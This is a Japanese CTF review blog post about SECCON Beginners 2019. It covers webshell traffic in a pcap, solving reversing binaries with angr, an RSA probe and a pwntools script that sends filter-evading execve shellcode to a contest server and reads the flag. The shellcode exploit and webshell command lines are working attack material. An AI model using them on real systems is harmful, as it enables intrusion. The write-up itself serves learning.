好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

SECCON for Beginners CTF 2019 復習

2019/5/25 ~ 5/26 で開催された、Beginners CTF 2019、手を付けてみたけど解けなかった問題や、新しく手を付けてみた問題の復習メモです。退会終了後の問題サーバー稼働期間が 6/9(日)まで設けられているので、今からでもまだ間に合いますよ!
競技時間中に解いた問題のwrite-upはこちら。

kusuwada.hatenablog.com

競技時間中に全完されている方のwrite-upもあったので、色んなwrite-upを参考にさせていただきました。他の人のwrite-upを読むだけより、実際自分で動かしてみて手順を記しておくことで、定着するに違いない…!

今回、Reversing問題で angr というツールを初めて使ってみたのですが、これ知ってればよかったなーという感じ。基礎部分の理解は別途したほうが良いけれども、とにかく早くシンプルな問題を解きたいときは、とても有効。今後は積極的に使っていくぞー!٩('ω')و 
他にも SageMath を使ってみたり、heap問題に触れられたりと、かなり勉強になりました!

[Misc] Dump

Analyze dump and extract the flag!!

https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

指定のurlにアクセスすると、またファイルが貰えます。

$ file fc23f13bcf6562e540ed81d1f47710af_dump 
fc23f13bcf6562e540ed81d1f47710af_dump: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 262144)

tcpのdump fileのようです。
wiresharkで開いてみます。

f:id:kusuwada:20190527161617p:plain

なんと3000行もあります…!
まず全部見るのは置いておいて、ちょっと文字列だけ取り出して怪しいところがないか探してみます。

$ strings fc23f13bcf6562e540ed81d1f47710af_dump  | grep ctf4b
/GET /webshell.php?cmd=ls%20%2Dl%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1
-rw-r--r-- 1 ctf4b ctf4b 767400 Apr  7 19:46 /home/ctf4b/flag
GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1

この ?cmd= 部分のクエリをurl decodeすると

ls -l /home/ctf4b/flag
hexdump -e '16/1 "%02.3o " "¥n"' /home/ctf4b/flag

このhexdumpコマンドは

22   18.092373   192.168.75.1    192.168.75.230  HTTP    250 GET /webshell.php?cmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag HTTP/1.1 

22行目にあります。同じhttpプロトコルで通信している応答を探してみると、最後の方にありました。

3193 18.358969   192.168.75.230  192.168.75.1    HTTP    118 HTTP/1.1 200 OK  (text/html)

ここでchunkで返ってきているhexdumpを拾い集めて、1ファイルにして出力してやると、なんか画像とか出てこないかなー?ということでやってみます。

hexdumpの仕様理解のために下記を確認。
【 hexdump 】コマンド――ファイルを8進数や16進数でダンプする:Linux基本コマンドTips(253) - @IT
この辺を参考に。

hexdump -e '16/1 "%02.3o " "¥n"' /home/ctf4b/flag

このコマンドは、 /home/ctf4b/flag ファイルを、1バイト単位、0埋め3桁の8進数+ブランクで出力、16回出力毎に改行する。
となりそうです。これをバイナリとして書き出してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

with open('dump', 'r') as f:
    dump = f.readlines()
dump = dump[5:-2]

output = ''
for line in dump:
    b_arr = line.strip().split(' ')
    for b in b_arr:
        output += chr(int(b, 8))

with open('output', 'w') as f:
    f.write(output)

競技中に書いたスクリプトが上記。ただこれ出てきたファイル、fileコマンドで見てみてもdataとしか表示されず。詰んだ。

競技が終わって冷静にコードを見てみたら、これpython2の書き方じゃ。
python3では chr() ではなく bytes([]) で書かないといけないんじゃった。。。

Python2のchr()がPython3では使えないという話 - Qiita

何度も参照している記事なのに…。ほかの問題ではbytes([])使ってるのに…(T ^ T)

ということで書き直したら無事、gzipファイルが生成されました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

with open('dump', 'r') as f:
    dump = f.readlines()
dump = dump[5:-2]

output = b''
for line in dump:
    b_arr = line.strip().split(' ')
    for b in b_arr:
        output += bytes([int(b, 8)])

with open('output', 'wb') as f:
    f.write(output)

生成されたファイル確認

$ file output
output: gzip compressed data, last modified: Sun Apr  7 10:46:34 2019, from Unix, original size 798720

gzip形式だそうです!gzip形式として解凍すると今度はtarだと言われたので、更にtar形式で解凍します。

$ mv output output.gz
$ gzip -d output.gz 
$ file output 
output: POSIX tar archive
$ tar zxvf output 
x ./._flag.jpg
x flag.jpg

flag.jpg出ました!!!!競技中に解きたかった〜!!!!!

f:id:kusuwada:20190527161501j:plain

[Reversing] Leakage

https://score.beginners.seccon.jp/files/leakage_80a8c3c2bd63254a033ea21093944b1e.tar.gz

tarファイルが貰えたので解凍します。leakageという名前の実行ファイルをゲットしました。

$ file leakage
leakage: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=334440ee47762e207c9830178dfebdf40b63075d, not stripped

試しに実行してみます。

$ ./leakage 
usage: ./leakage flag
$ ./leakage flag
wrong

引数を一つ取るそうです。適当に入れてみたら、Seccompare とおなじ wrong と言われちゃいました。
radare2で解析してみます。

# r2 -d leakage 
Process with PID 3474 started...
= attach 3474 3474
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[0x7f005687c090]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Enable constraint types analysis for variables

まずは使われている関数の一覧を確認し、mainの中身を確認します。

[0x7f005687c090]> s main
[0x00400660]> pdf
/ (fcn) main 111
|   main (int argc, char **argv, char **envp);
|           ; var int local_10h @ rbp-0x10
|           ; var int local_4h @ rbp-0x4
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40051d)
|           0x00400660      55             push rbp
|           0x00400661      4889e5         mov rbp, rsp
|           0x00400664      4883ec10       sub rsp, 0x10
|           0x00400668      897dfc         mov dword [local_4h], edi   ; argc
|           0x0040066b      488975f0       mov qword [local_10h], rsi  ; argv
|           0x0040066f      837dfc01       cmp dword [local_4h], 1
|       ,=< 0x00400673      7f22           jg 0x400697
|       |   0x00400675      488b45f0       mov rax, qword [local_10h]
|       |   0x00400679      488b00         mov rax, qword [rax]
|       |   0x0040067c      4889c6         mov rsi, rax
|       |   0x0040067f      488d3dfd0500.  lea rdi, qword str.usage:__s_flag ; 0x400c83 ; "usage: %s flag\n"
|       |   0x00400686      b800000000     mov eax, 0
|       |   0x0040068b      e860feffff     call sym.imp.printf         ; int printf(const char *format)
|       |   0x00400690      b801000000     mov eax, 1
|      ,==< 0x00400695      eb36           jmp 0x4006cd
|      |`-> 0x00400697      488b45f0       mov rax, qword [local_10h]
|      |    0x0040069b      4883c008       add rax, 8
|      |    0x0040069f      488b00         mov rax, qword [rax]
|      |    0x004006a2      4889c7         mov rdi, rax
|      |    0x004006a5      e83dffffff     call sym.is_correct
|      |    0x004006aa      85c0           test eax, eax
|      |,=< 0x004006ac      740e           je 0x4006bc
|      ||   0x004006ae      488d3dde0500.  lea rdi, qword str.correct  ; 0x400c93 ; "correct"
|      ||   0x004006b5      e806feffff     call sym.imp.puts           ; int puts(const char *s)
|     ,===< 0x004006ba      eb0c           jmp 0x4006c8
|     ||`-> 0x004006bc      488d3dd80500.  lea rdi, qword str.wrong    ; 0x400c9b ; "wrong"
|     ||    0x004006c3      e8f8fdffff     call sym.imp.puts           ; int puts(const char *s)
|     ||    ; CODE XREF from main (0x4006ba)
|     `---> 0x004006c8      b800000000     mov eax, 0
|      |    ; CODE XREF from main (0x400695)
|      `--> 0x004006cd      c9             leave
\           0x004006ce      c3             ret

前半は引数の確認と、引数の数が 1 じゃなかった時に usage を出して終了するコードのようです。
ここで、次に呼ばれている sym.is_correct 関数の中身を確認します。

[0x00400660]> s sym.is_correct
[0x004005e7]> pdf
/ (fcn) sym.is_correct 121
|   sym.is_correct (int arg1);
|           ; var int local_18h @ rbp-0x18
|           ; var int local_5h @ rbp-0x5
|           ; var int local_4h @ rbp-0x4
|           ; arg int arg1 @ rdi
|           ; CALL XREF from main (0x4006a5)
|           0x004005e7      55             push rbp
|           0x004005e8      4889e5         mov rbp, rsp
|           0x004005eb      4883ec20       sub rsp, 0x20
|           0x004005ef      48897de8       mov qword [local_18h], rdi  ; arg1
|           0x004005f3      488b45e8       mov rax, qword [local_18h]
|           0x004005f7      4889c7         mov rdi, rax
|           0x004005fa      e8d1feffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x004005ff      4883f822       cmp rax, 0x22               ; '"' ; 34
|       ,=< 0x00400603      7407           je 0x40060c
|       |   0x00400605      b800000000     mov eax, 0
|      ,==< 0x0040060a      eb52           jmp 0x40065e
|      |`-> 0x0040060c      c745fc000000.  mov dword [local_4h], 0
|      |,=< 0x00400613      eb3e           jmp 0x400653
|     .---> 0x00400615      8b45fc         mov eax, dword [local_4h]
|     :||   0x00400618      4863d0         movsxd rdx, eax
|     :||   0x0040061b      488d053e0600.  lea rax, qword obj.enc_flag ; 0x400c60
|     :||   0x00400622      0fb60402       movzx eax, byte [rdx + rax]
|     :||   0x00400626      0fb6c0         movzx eax, al
|     :||   0x00400629      89c7           mov edi, eax
|     :||   0x0040062b      e8a0000000     call sym.convert
|     :||   0x00400630      8845fb         mov byte [local_5h], al
|     :||   0x00400633      8b45fc         mov eax, dword [local_4h]
|     :||   0x00400636      4863d0         movsxd rdx, eax
|     :||   0x00400639      488b45e8       mov rax, qword [local_18h]
|     :||   0x0040063d      4801d0         add rax, rdx                ; '('
|     :||   0x00400640      0fb600         movzx eax, byte [rax]
|     :||   0x00400643      3845fb         cmp byte [local_5h], al
|    ,====< 0x00400646      7407           je 0x40064f
|    |:||   0x00400648      b800000000     mov eax, 0
|   ,=====< 0x0040064d      eb0f           jmp 0x40065e
|   |`----> 0x0040064f      8345fc01       add dword [local_4h], 1
|   | :||   ; CODE XREF from sym.is_correct (0x400613)
|   | :|`-> 0x00400653      837dfc21       cmp dword [local_4h], 0x21  ; '!'
|   | `===< 0x00400657      7ebc           jle 0x400615
|   |  |    0x00400659      b801000000     mov eax, 1
|   |  |    ; CODE XREFS from sym.is_correct (0x40060a, 0x40064d)
|   `--`--> 0x0040065e      c9             leave
\           0x0040065f      c3             ret

こんな気になる文言が。

lea rax, qword obj.enc_flag ; 0x400c60

Hopperで確認してみると

0000000000400c60         db  0xd3 ; '.'                                         ; DATA XREF=is_correct+52
0000000000400c61         db  0x25 ; '%'
0000000000400c62         db  0x8b ; '.'
0000000000400c63         db  0x96 ; '.'
0000000000400c64         db  0x0f ; '.'
0000000000400c65         db  0x11 ; '.'
0000000000400c66         db  0xe4 ; '.'
0000000000400c67         db  0x2c ; ','
0000000000400c68         db  0x8d ; '.'
0000000000400c69         db  0xd9 ; '.'
0000000000400c6a         db  0xd7 ; '.'
0000000000400c6b         db  0x7d ; '}'
0000000000400c6c         db  0xf1 ; '.'
0000000000400c6d         db  0x21 ; '!'
0000000000400c6e         db  0x12 ; '.'
0000000000400c6f         db  0x31 ; '1'
0000000000400c70         db  0x4f ; 'O'
0000000000400c71         db  0x45 ; 'E'
0000000000400c72         db  0xcd ; '.'
0000000000400c73         db  0x89 ; '.'
0000000000400c74         db  0xbf ; '.'
0000000000400c75         db  0xcd ; '.'
0000000000400c76         db  0xdd ; '.'
0000000000400c77         db  0x97 ; '.'
0000000000400c78         db  0xe8 ; '.'
0000000000400c79         db  0x92 ; '.'
0000000000400c7a         db  0x36 ; '6'
0000000000400c7b         db  0x34 ; '4'
0000000000400c7c         db  0xb8 ; '.'
0000000000400c7d         db  0xfc ; '.'
0000000000400c7e         db  0xe2 ; '.'
0000000000400c7f         db  0x2b ; '+'
0000000000400c80         db  0x58 ; 'X'
0000000000400c81         db  0xa0 ; '.'
0000000000400c82         db  0x00 ; '.'

こんな感じ。encodeの方法は解読できていませんが、encode後のバイト列が入手できました。

0xd3, 0x25, 0x8b, 0x96, 0x0f, 0x11, 0xe4, 0x2c, 0x8d, 0xd9, 0xd7, 0x7d, 0xf1, 0x21, 0x12, 0x31, 0x4f, 0x45, 0xcd, 0x89, 0xbf, 0xcd, 0xdd, 0x97, 0xe8, 0x92, 0x36, 0x34, 0xb8, 0xfc, 0xe2, 0x2b, 0x58, 0xa0

これがなんとか ctf4b{****} になってくれると嬉しいのですが。
この文字の配列の大きさ、先程の sym.is_correct 関数の序盤に出てくる比較

0x004005ff      4883f822       cmp rax, 0x22               ; '"' ; 34

こことマッチしているようですし、きっと34文字のflagに違いない。
この34要素のリスト、xorをとったりshiftしたりしてみたけど、flagは出てこなかった。その先のsym.convert関数の処理が理解できれば解読できそうだったが、これを真面目に読むのは無理…。

というところで競技終了。

他の方のwrite-upを読んで、動的に動かしながら解析するのが良いということがわかる。
その中でも、ちゃちゃっと手早く解いた人達が使っているツールがangrgdbのdebug機能を使ってやるのが勉強になる気がするけど、一人チームでCTFするにはちゃっと答えにたどり着けるツール情報も欲しい!ということで入れてみました。
実は競技中もangrというワードはTwitter上で何度か見かけたので、復習時に見てみようと思っていたのでした。

kanataさんのブログ記事でAngrについて「ほうほう」する。

Angr - A painter and a black cat

公式ページはこちら。

angr

あとは、angr とセットでよく使われている claripy、こちらも試してみました。

GitHub - angr/claripy: An abstraction layer for constraint solvers.

Usageもとてもシンプル。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import angr
import claripy

p = angr.Project('./leakage')
b = claripy.BVS('var_b', 34*8) # 34文字×8バイト

state = p.factory.entry_state(args=['./leakage', b])
simgr = p.factory.simgr(state)
simgr.explore(find=0x004006ae) # 入力が正しかった時に呼ばれるアドレス

found = simgr.found[0]
print(found.solver.eval(b, cast_to=bytes)) # angr だと cast_to で型変換できる

実行結果

(略)
WARNING | 2019-05-28 15:23:30,395 | angr.state_plugins.symbolic_memory | Filling memory at 0x7ffffffffff0000 with 186 unconstrained bytes referenced from 0x10882b0 (strlen+0x0 in libc.so.6 (0x882b0))
b'ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}'

これはいい・・・。

angrで調べていると、今月開催された Harekaze CTF 2019 でもこれを使って解ける問題があったらしく、今後もかなり使えそう。

[Reversing] Linear Operation

https://score.beginners.seccon.jp/files/linear_operation_a45530bbfc995ac99f30e026276674aa.tar.gz

DLしたtarファイルを解凍すると、実行ファイルが出てきます。

$ file linear_operation
linear_operation: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=dd95ed8682c3918a875318a938c280741ebd0e65, not stripped

実行してみます。

$ ./linear_operation 
input flag : ctf4b{}     
wrong

適当に入れてみたら wrong でした。またradare2で解析してmain関数を見てみます。

/ (fcn) main 204
|   main (int argc, char **argv, char **envp);
|           ; var int local_60h @ rbp-0x60
|           ; var int local_54h @ rbp-0x54
|           ; var int local_50h @ rbp-0x50
|           ; var int local_48h @ rbp-0x48
|           ; var int local_40h @ rbp-0x40
|           ; var int local_38h @ rbp-0x38
|           ; var int local_30h @ rbp-0x30
|           ; var int local_28h @ rbp-0x28
|           ; var int local_20h @ rbp-0x20
|           ; var int local_18h @ rbp-0x18
|           ; var int local_8h @ rbp-0x8
|           ; arg int argc @ rdi
|           ; arg char **argv @ rsi
|           ; DATA XREF from entry0 (0x40053d)
|           0x0040cee1      55             push rbp
|           0x0040cee2      4889e5         mov rbp, rsp
|           0x0040cee5      4883ec60       sub rsp, 0x60               ; '`'
|           0x0040cee9      897dac         mov dword [local_54h], edi  ; argc
|           0x0040ceec      488975a0       mov qword [local_60h], rsi  ; argv
|           0x0040cef0      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x0040cef9      488945f8       mov qword [local_8h], rax
|           0x0040cefd      31c0           xor eax, eax
|           0x0040ceff      48c745b00000.  mov qword [local_50h], 0
|           0x0040cf07      48c745b80000.  mov qword [local_48h], 0
|           0x0040cf0f      48c745c00000.  mov qword [local_40h], 0
|           0x0040cf17      48c745c80000.  mov qword [local_38h], 0
|           0x0040cf1f      48c745d00000.  mov qword [local_30h], 0
|           0x0040cf27      48c745d80000.  mov qword [local_28h], 0
|           0x0040cf2f      48c745e00000.  mov qword [local_20h], 0
|           0x0040cf37      48c745e80000.  mov qword [local_18h], 0
|           0x0040cf3f      488d3dee0000.  lea rdi, qword str.input_flag_: ; 0x40d034 ; "input flag : "
|           0x0040cf46      b800000000     mov eax, 0
|           0x0040cf4b      e8b035ffff     call sym.imp.printf         ; int printf(const char *format)
|           0x0040cf50      488d45b0       lea rax, qword [local_50h]
|           0x0040cf54      4889c6         mov rsi, rax
|           0x0040cf57      488d3de40000.  lea rdi, qword str.63s      ; 0x40d042 ; "%63s"
|           0x0040cf5e      b800000000     mov eax, 0
|           0x0040cf63      e8a835ffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)
|           0x0040cf68      488d45b0       lea rax, qword [local_50h]
|           0x0040cf6c      4889c7         mov rdi, rax
|           0x0040cf6f      e89336ffff     call sym.is_correct
|           0x0040cf74      85c0           test eax, eax
|       ,=< 0x0040cf76      740e           je 0x40cf86
|       |   0x0040cf78      488d3dc80000.  lea rdi, qword str.correct  ; 0x40d047 ; "correct"
|       |   0x0040cf7f      e85c35ffff     call sym.imp.puts           ; int puts(const char *s)
|      ,==< 0x0040cf84      eb0c           jmp 0x40cf92
|      ||   ; CODE XREF from main (0x40cf76)
|      |`-> 0x0040cf86      488d3dc20000.  lea rdi, qword str.wrong    ; 0x40d04f ; "wrong"
|      |    0x0040cf8d      e84e35ffff     call sym.imp.puts           ; int puts(const char *s)
|      |    ; CODE XREF from main (0x40cf84)
|      `--> 0x0040cf92    zzzzzz  b800000000     mov eax, 0
|           0x0040cf97      488b55f8       mov rdx, qword [local_8h]
|           0x0040cf9b      644833142528.  xor rdx, qword fs:[0x28]
|       ,=< 0x0040cfa4      7405           je 0x40cfab
|       |   0x0040cfa6      e84535ffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
|       |   ; CODE XREF from main (0x40cfa4)
|       `-> 0x0040cfab      c9             leave
\           0x0040cfac      c3             ret

input flag :のあとのユーザー入力を、また is_correct でチェックしてそうなので見てみようと思ったのですが、今回は is_correct 関数が大きすぎるらしくpdfコマンドでは見れない。代わりにpdrコマンドにしてちょ、と言われたので一応pdrコマンドで見てみたけど、人力解析する気をなくす長さ。

先程 angr を使ってみたので、今回も引き続き使ってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import angr
import claripy

p = angr.Project('./linear_operation')
b = claripy.BVS('var_b', 0x63*8)

state = p.factory.entry_state(args=['./linear_operation', b])
simgr = p.factory.simgr(state)
simgr.explore(find=0x0040cf78) # 入力が正しかった時に呼ばれるアドレス

found = simgr.found[0]
print(found.posix.dumps(0))

実行結果

(略)
WARNING | 2019-05-28 16:28:31,144 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1))
b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

凄い。VM上でも4~5分で解けました。

[Pwnable] [warmup] shellcoder

途中からwarmupに変更になりました。

nc 153.120.129.186 20000

入手したファイルは下記。

$ file shellcoder 
shellcoder: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=acce612539763567a2d3dafd22431e476f32fb72, not stripped

実行してみます。

$ ./shellcoder 
Are you shellcoder?
yes
Payload contains invalid character!!

shellcoderか?と聞かれたので yes と答えると怒られました。そんな変な文字使ってないんだけどな…。
radare2で解析してみます。

[0x000007c0]> s main
[0x00000917]> pdf
/ (fcn) main 233
|   main (int argc, char **argv, char **envp);
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x7dd)
|           0x00000917      55             push rbp
|           0x00000918      4889e5         mov rbp, rsp
|           0x0000091b      4883ec10       sub rsp, 0x10
|           0x0000091f      41b900000000   mov r9d, 0
|           0x00000925      41b8ffffffff   mov r8d, 0xffffffff         ; -1
|           0x0000092b      b921000000     mov ecx, 0x21               ; '!'
|           0x00000930      ba07000000     mov edx, 7
|           0x00000935      be00100000     mov esi, 0x1000
|           0x0000093a      bf00000000     mov edi, 0
|           0x0000093f      e81cfeffff     call sym.imp.mmap           ; void*mmap(void*addr, size_t length, int prot, int flags, int fd, size_t offset)
|           0x00000944      488945f8       mov qword [local_8h], rax
|           0x00000948      488d3d390100.  lea rdi, qword str.Are_you_shellcoder ; 0xa88 ; "Are you shellcoder?"
|           0x0000094f      e8fcfdffff     call sym.imp.puts           ; int puts(const char *s)
|           0x00000954      488b45f8       mov rax, qword [local_8h]
|           0x00000958      ba28000000     mov edx, 0x28               ; '('
|           0x0000095d      4889c6         mov rsi, rax
|           0x00000960      bf00000000     mov edi, 0
|           0x00000965      e836feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x0000096a      488b45f8       mov rax, qword [local_8h]
|           0x0000096e      be62000000     mov esi, 0x62               ; 'b'
|           0x00000973      4889c7         mov rdi, rax
|           0x00000976      e805feffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|           0x0000097b      4885c0         test rax, rax
|       ,=< 0x0000097e      7558           jne 0x9d8
|       |   0x00000980      488b45f8       mov rax, qword [local_8h]
|       |   0x00000984      be69000000     mov esi, 0x69               ; 'i'
|       |   0x00000989      4889c7         mov rdi, rax
|       |   0x0000098c      e8effdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|       |   0x00000991      4885c0         test rax, rax
|      ,==< 0x00000994      7542           jne 0x9d8
|      ||   0x00000996      488b45f8       mov rax, qword [local_8h]
|      ||   0x0000099a      be6e000000     mov esi, 0x6e               ; 'n'
|      ||   0x0000099f      4889c7         mov rdi, rax
|      ||   0x000009a2      e8d9fdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|      ||   0x000009a7      4885c0         test rax, rax
|     ,===< 0x000009aa      752c           jne 0x9d8
|     |||   0x000009ac      488b45f8       mov rax, qword [local_8h]
|     |||   0x000009b0      be73000000     mov esi, 0x73               ; 's'
|     |||   0x000009b5      4889c7         mov rdi, rax
|     |||   0x000009b8      e8c3fdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|     |||   0x000009bd      4885c0         test rax, rax
|    ,====< 0x000009c0      7516           jne 0x9d8
|    ||||   0x000009c2      488b45f8       mov rax, qword [local_8h]
|    ||||   0x000009c6      be68000000     mov esi, 0x68               ; 'h'
|    ||||   0x000009cb      4889c7         mov rdi, rax
|    ||||   0x000009ce      e8adfdffff     call sym.imp.strchr         ; char *strchr(const char *s, int c)
|    ||||   0x000009d3      4885c0         test rax, rax
|   ,=====< 0x000009d6      7416           je 0x9ee
|   |||||   ; CODE XREFS from main (0x97e, 0x994, 0x9aa, 0x9c0)
|   |````-> 0x000009d8      488d3dc10000.  lea rdi, qword str.Payload_contains_invalid_character ; 0xaa0 ; "Payload contains invalid character!!"
|   |       0x000009df      e86cfdffff     call sym.imp.puts           ; int puts(const char *s)
|   |       0x000009e4      bf00000000     mov edi, 0
|   |       0x000009e9      e852fdffff     call sym.imp._exit          ; void _exit(int status)
|   |       ; CODE XREF from main (0x9d6)
|   `-----> 0x000009ee      488b55f8       mov rdx, qword [local_8h]
|           0x000009f2      b800000000     mov eax, 0
|           0x000009f7      ffd2           call rdx
|           0x000009f9      b800000000     mov eax, 0
|           0x000009fe      c9             leave
\           0x000009ff      c3             ret

なにやらbinshの文字列が見えます。これらの文字が入っていたらexitしてしまうようです。また、入力できるサイズは 0x28 = 40d 以下のようです。
ちょっと動かしてみて、Pwnの分野はpicoCTFにもなかったし「あまり解いてないなー」と放置していました。
※picoCTFでは Binary 分野として出されていたっぽい。

他の方のwrite-upを見てみると、なんとshellcodeを投げるとそのまま実行してくれたっぽい。それくらいやってみればよかった…!
ただし、 binsh という文字列は使ってはいけないようです。

まずは実行ファイルの詳細を確認してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('shellcoder')

実行結果

$ python solve.py 
(略)
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

この情報から、 picoCTFのshellcodeでも使用した shell-storm | Shellcodes Database で、使えそうなshellcodeを探します。
このページ、検索APIを用意してくれているので、http://shell-storm.org/api/?s=x86-64*exec を呼んだり、下記のようにページ内ワード検索で探しました。
さらに、この中で40 bytes以下のもので、binshの文字列がそのまま使われていないものを探します。

f:id:kusuwada:20190530235624p:plain

今回はこちらのshellcodeが刺さりました。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '153.120.129.186'
port = 20000

e = ELF('shellcoder')

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

r = remote(host, port)
print(r.recvuntil(b'Are you shellcoder?\n'))
payload = shellcode
r.sendline(payload)
r.interactive()

実行結果

$ python solve.py 
[+] Opening connection to 153.120.129.186 on port 20000: Done
b'Are you shellcoder?\n'
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

うおー、取れた!

[Crypto] Go RSA

Nだけなくしちゃったんだよなあ……。

Server: nc 133.242.17.175 1337

指定のサーバーに接続してみると、こんなのが出てきました。

$ nc 133.242.17.175 1337
Encrypted flag is: 3246914397805984625089274034689097404626310943025860396127701658909512577669514664108630471844355750327164896341754712339996304322183994272592515057036982712509993468585150053739578221129634295335156008826646739783998613552816135149250751248457932543995048264634859702233101213624411123860565127483614505789936131097481582250280879883345717399260890559456693933197989248325942651641020812875856881085952684919373866250212831032592940854889972412169066460390028956648027648499201166953687232091133712983765570352801518662259212852804103694341950383858692240162079647626761015691553176471163587025139488215942149755954
> 

何度か接続すると、そのたびに値が変わっているようです。

$ nc 133.242.17.175 1337
Encrypted flag is: 3907445274809485944005850583688823517041246501493411406349489007647086307669999436104227383866581450368409392852838445888879770008535835878834505003876970205478568823503240903030938038455077025215335056618164328593408016447721733212359668633307320450941037637655329541552785254249716511507899935044199385906328784622550523391259328569275362502736954655166246026500587800940596296959029522685983369011306966517414140510594694353162567602256248885075015481729719434213475757532255491299600629907240843466787613080934054316353552493032572311831793772394412735195434031850098199864486870280497505100427907455657713646425
> 

$ nc 133.242.17.175 1337
Encrypted flag is: 16087737852679312943082579835574267808917098806166146477948390268311314495869597423139948769106893126211785455585840045916997202991917816782009212071321188120477266362607143640897212583925382246510294776980026710351920267715931578194642023066397300876433658336889193765162600728946506435849363159642338980333994545078796172371936842606384482259907112157726395098506280477904550192887364445098761849892453797359385715431531790060566968921040064078183374383999248626630815628933033564305381770162764154584360672510344097760176520813698801283104772684880144679500756733022628334968091288327601447320734125462521591796548
> 

うーん、同じ平文mを異なるn1,n2,n3...で暗号化した暗号文c1,c2,c3...が得られているように見えるけど、nが与えられていないので、この条件だけでは厳しそう…。
そう言えば最後、入力を求められているみたいなのでとりあえずEnter押してみます。

$ nc 133.242.17.175 1337
Encrypted flag is: 8047501936113532470971463163769035363307223928331542019862100629176243314282283271202758429479914791322669300771420579913457581026765154113571142959838933732130552833333065622053458274173090191148800013346977368112870508247410156540246457255700169967472199105669076181391662274194785458930700620725774955004108234848444025992406999391308150948546356242311859488958072458152203070345633303830113973965876633818417894429938013032245232326823663311562700611121888629146571378754997730536726390911601872033974933172208804987668158313504008938995226939114473489641715532823098128084450486188707339520510891422195965785006
> e
Bye
The D was 17774810458571819467407763534846886965125517620396752931987750586426233720474536163034444932683783275869186318153195553816327509687354147300626845609662008894163150857079915178559820997234799801110496236843148336683137172848754208947320772000483006491556383278220075917393168418168899651059656373280723475427878763784266772317887251461857427950690144731432336023815705594595042004445467248298662607486419945921855858360071081134757821546305835537621313968950487786802983378272025237082009698923450089406819342358956698666226738949627627244652365877271549472071468662405248411352675107008230937961052036677926234100773

おお。dを教えてくれました。
が、うーん、これだけではわからん。
(c,d) のペアが複数わかることで何か解決する方法があるのだろうか??
と「うーん?うーん?」しているうちに競技終了。

他の方のwrite-upを読んでみると、他にもこちらの入力次第で色々返してくれるらしい…!色々つついて試さないと駄目だな。

例えば、0,1 を入れるとそれぞれ 0,1が。1, 2 など他の数値を入れていくと、1度の接続で3回まで試せますが、同じ接続では同じ値が返ってきました。

$ nc 133.242.17.175 1337
Encrypted flag is: 13282915023004231342812924777996300721754040850263906922093353347631353662786665284724635636608468092415862112159526954144942254716833340495975345401660230294865092708924256756259234189489074865632876762453354085351541952260697251635614213925828636510364391950914131288261720934783191823243133093933311697611084293820306618204240918215749335725630798973189983202700174011376604756481723447055481495693553345697561197015089423963671577391664063404347177433315081170162238873360031050971935526134349146000239892938967731738570265094689661568706945715315583329947099375063708509315094739230331938370231639119012637747565
> 0
0
> 1
1
> 2
877279288077675259091064861053447248444278348296427565761403732884671047532924053849841729486099613763845175467424745834891181075593046334327629469913814648015003273876531162322511179214931732239296712428198684887637846718871343087451687815496522157346938773872583949933437499917705910068403769000710624071256360356875527970625182470223890933660986991101096327622730572294356456912191451788545116820282780693645875658801185795081799002098659151719208726803352690566693323325045346119910781299907804214911128770246399131692767660900667176720091762529064533117008117365368722002285806611410327956044891615765189568172
